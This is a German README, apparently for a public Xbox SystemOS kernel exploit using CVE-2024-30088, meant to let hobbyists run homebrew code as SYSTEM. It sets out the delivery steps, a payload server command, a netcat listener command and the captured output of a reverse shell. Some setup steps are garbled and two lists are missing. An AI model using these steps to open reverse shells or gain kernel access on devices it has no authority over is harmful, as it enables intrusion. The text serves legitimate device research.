
Kernel-Exploit für Xbox SystemOS unter Verwendung von CVE-2024-30088
Collateral Damage ist ein Kernel-Exploit für Xbox SystemOS, der CVE-2024-30088 ausnutzt. Es zielt auf Xbox One und Xbox Series Konsolen mit Kernel-Versionen 25398.4478, 25398.4908 und 25398.4909 ab. Der erste Einstiegspunkt erfolgt über die Game Script UWP-Anwendung.
Die Payloads der ersten Stufe, PE-Loader und Netzwerk-Loader, werden von Solstice bereitgestellt.
Dieser Exploit wurde von Emma Kirkpatrick (Schwachstellenentdeckung und -ausnutzung) und Lander Brandt (Solstice) entwickelt.
Um die Payload lokal auf der Xbox-Konsole zu platzieren, wird ein Vollvertrauens-Explorer wie Adv File Explorer (FullTrust) empfohlen. Alternativ kann die anfängliche Payload über einen USB-Tastatursimulator (Rubber Ducky usw.) bereitgestellt werden, und weitere Payload-Stufen können dann über das Netzwerk geladen werden.
Das hier bereitgestellte Reverse-Shell-Beispiel erfordert, dass Ihre Konsole mit einem Netzwerk verbunden ist. Seien Sie beim Verbinden Ihrer Konsole mit einem Netzwerk sehr vorsichtig, um eine Verbindung zum Internet und Updates zu vermeiden. Versuchen Sie, die Konnektivität zu Xbox LIVE so weit wie möglich zu blockieren, mindestens durch das Setzen Ihrer DNS auf ungültige Server.
Dieser Exploit ist nicht vollständig zuverlässig. Er basiert auf einem CPU-Seitenkanal sowie einer Race Condition, die beide potenziell fehlschlagen können. Im Falle eines Fehlschlags kann der Exploit Sie über Netzwerkausgabe darüber informieren, dass er fehlgeschlagen ist, oder die Konsole selbst kann abstürzen und neu starten.
gamescript_autosave_network.txt oder gamescript_autosave.txt, um die lokale IP Ihres PCs einzutragen.
gamescript_autosave.txt, stage2.bin und run.exe in das LocalState-Verzeichnis der Game Script-Anwendung auf Ihrer Konsole (Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\)gamescript_autosave_network.txt in das GameScript-Fenster ein. Stellen Sie stage2.bin und run.exe über payload_server_win_x64.exe --stage2 stage2.bin --run run.exe bereit.listening on [any] 7070 ...
connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665
Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)
Build number: 25398.4478
Attempting to find kernel base...
Found likely kernel base: FFFFF80AF9800000
Attempting exploit...
Exploit succeeded! Running payload!
Microsoft Windows [Version 10.0.25398.4478]
Copyright (c) Microsoft Corporation. All rights reserved.
S:\>
Es ist noch viel zusätzliche Arbeit nötig, um dies zu einem benutzerfreundlichen Tool zum Laden von Homebrew auf die Xbox zu machen, aber ich hoffe, dass dies einen guten Ausgangspunkt bietet :) Wenn Sie mit dem Ausführen von Code als SYSTEM herumspielen möchten, können Sie Ihren Code in die post_exploit-Funktion in post_exploit.c einfügen.
Hier gibt es noch viel zu tun, aber da der Kernel-Teil erledigt ist, wollte ich es mit der Community teilen, damit Entwickler mit SYSTEM-Berechtigungen herumstöbern können. Hier sind einige Dinge, die ich in Zukunft noch hinzufügen möchte:
Weitere Ideen sind willkommen :)
Vielen Dank an alle, die mir beim Brainstorming geholfen und ihr Wissen und ihre Zeit mit mir geteilt haben! Einige von denen, denen ich meine Wertschätzung zeigen möchte:
nc64.exe -lvnp 7070